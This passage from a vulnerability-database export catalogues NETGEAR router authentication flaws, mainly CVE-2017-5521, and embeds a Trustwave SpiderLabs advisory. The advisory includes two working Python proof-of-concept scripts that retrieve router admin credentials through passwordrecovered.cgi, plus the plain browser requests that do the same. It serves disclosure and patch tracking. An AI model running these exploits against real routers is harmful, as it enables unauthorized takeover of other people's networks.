authentication measures or insufficient authentication strength in network systems or products. There is currently no detailed vulnerability details provided",
"sources": [
{
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "CNVD",
"id": "CNVD-2020-23147"
}
],
"trust": 2.16
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2019-17372",
"trust": 3.0
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2020-23147",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201910-510",
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"id": "VAR-201910-1260",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
}
],
"trust": 1.1425174949999999
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
}
]
},
"last_update_date": "2023-12-18T12:43:15.805000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.netgear.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-287",
"trust": 1.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "NVD",
"id": "CVE-2019-17372"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.4,
"url": "https://github.com/zer0yu/cve_request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md"
},
{
"trust": 2.0,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-17372"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-17372"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-04-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"date": "2019-10-28T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"date": "2019-10-09T13:15:16.863000",
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"date": "2019-10-09T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-04-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2020-23147"
},
{
"date": "2019-10-28T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-011047"
},
{
"date": "2019-10-18T14:56:10.027000",
"db": "NVD",
"id": "CVE-2019-17372"
},
{
"date": "2019-11-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural NETGEAR Authentication vulnerabilities in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-011047"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "authorization issue",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201910-510"
}
],
"trust": 0.6
}
}
var-201701-0766
Vulnerability from variot
An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions. NETGEARR8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900 and R8000 are Netgear's wireless router products. There are information disclosure vulnerabilities in several NETGEAR products. Successful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks. Trustwave SpiderLabs Security Advisory TWSL2017-003: Multiple Vulnerabilities in NETGEAR Routers
Published: 01/30/2017 Version: 1.0
Vendor: NETGEAR (http://www.netgear.com/) Product: Multiple products
Finding 1: Remote and Local Password Disclosure Credit: Simon Kenin of Trustwave SpiderLabs CVE: CVE-2017-5521
Version affected:
AC1450 V1.0.0.34_10.0.16 (Latest)
AC1450 V1.0.0.22_1.0.10
AC1450 V1.0.0.14_1.0.6
D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 and above not affected)
D6400 V1.0.0.34_1.3.34
D6400 V1.0.0.38_1.1.38
D6400 V1.0.0.22_1.0.22
DC112A V1.0.0.30_1.0.60 (Latest)
DGN2200v4 V1.0.0.24_5.0.8 (V1.0.0.66_1.0.66 is latest and is not affected)
JNDR3000 V1.0.0.18_1.0.16 (Latest)
R6200 V1.0.1.48_1.0.37 (V1.0.1.52_1.0.41 and above are not affected)
R6200v2 V1.0.1.20_1.0.18 (V1.0.3.10_10.1.10 is latest and is not affected)
R6250 V1.0.1.84_1.0.78 (V1.0.4.2_10.1.10 is latest and is not affected)
R6300 V1.0.2.78_1.0.58 (Latest)
R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
R6300v2 V1.0.3.30_10.0.73
R6700 V1.0.1.14_10.0.29 (Latest beta)
R6700 V1.0.0.26_10.0.26 (Latest stable)
R6700 V1.0.0.24_10.0.18
R6900 V1.0.0.4_1.0.10 (Latest)
R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
R8300 V1.0.2.48_1.0.52
R8500 V1.0.2.30_1.0.43 (V1.0.2.64_1.0.62 and above is patched)
R8500 V1.0.2.26_1.0.41
R8500 V1.0.0.56_1.0.28
R8500 V1.0.0.20_1.0.11
VEGN2610 V1.0.0.35_1.0.35 (Latest)
VEGN2610 V1.0.0.29_1.0.29
VEGN2610 V1.0.0.27_1.0.27
WNDR3400v2 V1.0.0.16_1.0.34 (V1.0.0.52_1.0.81 is latest and is not affected)
WNDR3400v3 V1.0.0.22_1.0.29 (V1.0.1.2_1.0.51 is latest and is not affected)
WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
WNDR4000 V1.0.2.4_9.1.86 (Latest)
WNDR4500 V1.0.1.40_1.0.68 (Latest)
WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
WNDR4500v2 V1.0.0.42_1.0.25
WGR614v10 V1.0.2.60_60.0.85NA (Latest)
WGR614v10 V1.0.2.58_60.0.84NA
WGR614v10 V1.0.2.54_60.0.82NA
WN3100RP V1.0.0.14_1.0.19 (Latest)
WN3100RP V1.0.0.6_1.0.12
Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
Lenovo R3220 V1.0.0.13_1.0.13
Product description: Multiple Netgear Routers
Many Netgear routers are prone to password disclosure via simple crafted requests to the web management server. This can easily be reproduced using the attached poc, or by sending these two simple requests via the browser: 1. http://router/.../ will redirect you to http://router/..../unauth.cgi?id=TOKEN to acquire the token 2. http://router/passwordrecovered.cgi?id=TOKEN will give you credentials (some models require you to send a post request instead of get)
netgore.py
import sys import requests
def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1)[0] else: return "i_dont_speak_english"
disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
1st stage - get token
ip = sys.argv[1] port = sys.argv[2] url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attcking: " + model[13:-1] else: print "not a netgear router" sys.exit(0) token = scrape(r.text, 'unauth.cgi?id=', '\"') if token == 'i_dont_speak_english': print "not vulnerable" sys.exit(0) print "token found: " + token
2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token r = requests.post(url, verify=False)
profit
if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username', ''))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password', ''))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '')) else: print "not vulnerable becuse password recovery IS set" sys.exit(0)
html encoding pops out of nowhere, lets replace that
password = password.replace("#","#") password = password.replace("&","&") print "user: " + username print "pass: " + password
================================ Just run the PoC against a router to get the credentials if it is vulnerable.
Finding 2: Remote and Local Password Disclosure Credit: Simon Kenin of Trustwave SpiderLabs CVE: CVE-2017-5521
Version affected:
AC1450 V1.0.0.34_10.0.16 (Latest)
AC1450 V1.0.0.22_1.0.10
AC1450 V1.0.0.14_1.0.6
D6300 V1.0.0.96_1.1.96 (Latest)
D6300B V1.0.0.36_1.0.36
D6300B V1.0.0.32_1.0.32
D6400 V1.0.0.44_1.0.44 (V1.0.0.52_1.0.52 is latest and is patched)
D6400 V1.0.0.22_1.0.22
DC112A V1.0.0.30_1.0.60 (Latest)
DGN2200v4 V1.0.0.76_1.0.76 (Latest)
DGN2200v4 V1.0.0.66_1.0.66
DGN2200Bv4 V1.0.0.68_1.0.68 (Latest)
JNDR3000 V1.0.0.18_1.0.16 (Latest)
R6200 V1.0.1.56_1.0.43 (Latest)
R6200 V1.0.1.52_1.0.41
R6200 V1.0.1.48_1.0.37
R6200v2 V1.0.3.10_10.1.10 (Latest)
R6200v2 V1.0.1.20_1.0.18
R6250 V1.0.4.6_10.1.12 (Latest beta)
R6250 V1.0.4.2_10.1.10 (Latest stable)
R6250 V1.0.1.84_1.0.78
R6300 V1.0.2.78_1.0.58 (Latest)
R6300v2 V1.0.4.2_10.0.74 (V1.0.4.6_10.0.76 is latest and is patched)
R6300v2 V1.0.3.6_1.0.63CH (Charter Comm.)
R6400 V1.0.0.26_1.0.14 (V1.0.1.12_1.0.11 is latest and is patched)
R6700 V1.0.0.26_10.0.26 (Latest)
R6700 V1.0.0.24_10.0.18
R6900 V1.0.0.4_1.0.10 (Latest)
R7000 V1.0.6.28_1.1.83 (V1.0.7.2_1.1.93 is latest and is patched)
R7000 V1.0.4.30_1.1.67
R7900 V1.0.1.8_10.0.14 (Latest beta)
R7900 V1.0.1.4_10.0.12 (Latest stable)
R7900 V1.0.0.10_10.0.7
R7900 V1.0.0.8_10.0.5
R7900 V1.0.0.6_10.0.4
R8000 V1.0.3.26_1.1.18 (Latest beta)
R8000 V1.0.3.4_1.1.2 (Latest stable)
R8300 V1.0.2.48_1.0.52
R8500 V1.0.0.56_1.0.28 (V1.0.2.64_1.0.62 and above is patched)
R8500 V1.0.2.30_1.0.43
VEGN2610 V1.0.0.35_1.0.35 (Latest)
VEGN2610 V1.0.0.27_1.0.27
VEGN2610-1FXAUS V1.0.0.36_1.0.36 (Latest)
VEVG2660 V1.0.0.23_1.0.23
WNDR3400v2 V1.0.0.52_1.0.81 (Latest)
WNDR3400v3 V1.0.1.4_1.0.52 (Latest)
WNDR3400v3 V1.0.1.2_1.0.51
WNDR3400v3 V1.0.0.22_1.0.29
WNDR3700v3 V1.0.0.38_1.0.31 (Latest)
WNDR4000 V1.0.2.4_9.1.86 (Latest)
WNDR4500 V1.0.1.40_1.0.68 (Latest)
WNDR4500 V1.0.1.6_1.0.24
WNDR4500v2 V1.0.0.60_1.0.38 (Latest)
WNDR4500v2 V1.0.0.50_1.0.30
WNR1000v3 V1.0.2.68_60.0.93NA (Latest)
WNR1000v3 V1.0.2.62_60.0.87 (Latest)
WNR3500Lv2 V1.2.0.34_40.0.75 (Latest)
WNR3500Lv2 V1.2.0.32_40.0.74
WGR614v10 V1.0.2.60_60.0.85NA (Latest)
WGR614v10 V1.0.2.58_60.0.84NA
WGR614v10 V1.0.2.54_60.0.82NA
Lenovo R3220 V1.0.0.16_1.0.16 (Latest)
Lenovo R3220 V1.0.0.13_1.0.13
Many Netgear routers are prone to password disclosure via simple crafted request to the web management server.
This mechanism does not work correctly on the very first request to "passwordrecovered.cgi" and the token is not properly checked, this means that any TOKEN value will result in disclosure of the password. The issue occurs after every reboot of the router.
This can easily be reproduced using the attached poc, or by sending a simple request via the browser: 1. http://router/passwordrecovered.cgi?id=Trustwave_SpiderLabs will give you credentials (some models require you to send a post request instead of get)
netgore2.py
import sys import requests
def scrape(text, start_trig, end_trig): if text.find(start_trig) != -1: return text.split(start_trig, 1)[-1].split(end_trig, 1)[0] else: return "i_dont_speak_english"
disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
1st stage
ip = sys.argv[1] port = sys.argv[2] url = 'http://' + ip + ':' + port + '/' try: r = requests.get(url) except: url = 'https://' + ip + ':' + port + '/' r = requests.get(url, verify=False) model = r.headers.get('WWW-Authenticate') if model is not None: print "Attcking: " + model[13:-1] else: print "not a netgear router" sys.exit(0)
2nd stage
url = url + 'passwordrecovered.cgi?id=get_rekt' try: r = requests.post(url, verify=False) except: print "not vulnerable router" sys.exit(0)
profit
if r.text.find('left\">') != -1: username = (repr(scrape(r.text, 'Router Admin Username', ''))) username = scrape(username, '>', '\'') password = (repr(scrape(r.text, 'Router Admin Password', ''))) password = scrape(password, '>', '\'') if username == "i_dont_speak_english": username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '')) password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '')) else: print "not vulnerable router, or some one else already accessed passwordrecovered.cgi, reboot router and test again" sys.exit(0)
html encoding pops out of nowhere, lets replace that
password = password.replace("#","#") password = password.replace("&","&") print "user: " + username print "pass: " + password
================================ Just run the PoC against a router to get the credentials if it is vulnerable.
Remediation Steps: Please see NETGEAR's KBA for list of firmware patches for various models.
Revision History: 04/06/2016 - Vulnerability disclosed to vendor 04/19/2016 - Request for update and received confirmation of receipt of the advisories 05/18/2016 - Request for update; no response 07/14/2016 - Request for update 07/15/2016 - Notice of patch for some models and workaround KBA received along with commitment towards 100% coverage 10/17/2016 - Request for update 12/15/2016 - Notice of intent to publish advisories 01/04/2017 - Vendor responds with patch timeline and announcement of participation in Bugcrowd 01/30/2017 - Advisory published
References 1. http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html 2. https://www.exploit-db.com/exploits/32883/ 3. http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201701-0766",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "wndr4500",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.1.44_1.0.73"
},
{
"model": "d6400",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.44"
},
{
"model": "d6300b",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.40"
},
{
"model": "wnr1000v3",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.2.68_60.0.93"
},
{
"model": "ac1450",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.34_10.0.16"
},
{
"model": "wndr3700v3",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.40_1.0.32"
},
{
"model": "d6220",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.12"
},
{
"model": "dgn2200bv4",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.68"
},
{
"model": "d6300",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.0.96"
},
{
"model": "wndr4000",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.0.2.4_9.1.86"
},
{
"model": "r6200",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.0.1.56_1.0.43"
},
{
"model": "vegn2610",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.0.0.36"
},
{
"model": "r6300",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.0.2.78_1.0.58"
},
{
"model": "r8500",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r7000",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r8300",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r6400",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r7300",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r7100lg",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r6300v2",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "wndr3400v3",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "wnr3500lv2",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r6250",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r6700",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r8000",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "r6900",
"scope": "eq",
"trust": 0.9,
"vendor": "netgear",
"version": "0"
},
{
"model": "ac1450",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "ac1450",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.34_10.0.16"
},
{
"model": "d6220",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "d6220",
"scope": "lt",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.22"
},
{
"model": "d6300",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "d6300",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.96"
},
{
"model": "d6300b",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "d6300b",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.40"
},
{
"model": "d6400",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "d6400",
"scope": "lt",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.56"
},
{
"model": "dgn2200bv4",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "dgn2200bv4",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.68"
},
{
"model": "r6200",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r6200",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.1.56_1.0.43"
},
{
"model": "r6300",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "r6300",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.2.78_1.0.58"
},
{
"model": "vegn2610",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "vegn2610",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.14_1.0.12"
},
{
"model": "wndr3700v3",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "wndr3700v3",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.0.38_1.0.31"
},
{
"model": "wndr4000",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "wndr4000",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.2.4_9.1.86"
},
{
"model": "wndr4500",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "wndr4500",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.1.40_1.0.68"
},
{
"model": "wnr1000v3",
"scope": null,
"trust": 0.8,
"vendor": "net gear",
"version": null
},
{
"model": "wnr1000v3",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.0.2.68_60.0.93"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "BID",
"id": "95457"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6200:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:r6300_firmware:1.0.2.78_1.0.58:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:r6300:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:vegn2610_firmware:1.0.0.36:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:vegn2610:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:ac1450_firmware:1.0.0.34_10.0.16:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:ac1450:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wnr1000v3_firmware:1.0.2.68_60.0.93:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wnr1000v3:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr3700v3_firmware:1.0.0.40_1.0.32:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:netgear:wndr3700v3:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:netgear:wndr4000_firmware:1.0.2.4_9.1.86:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
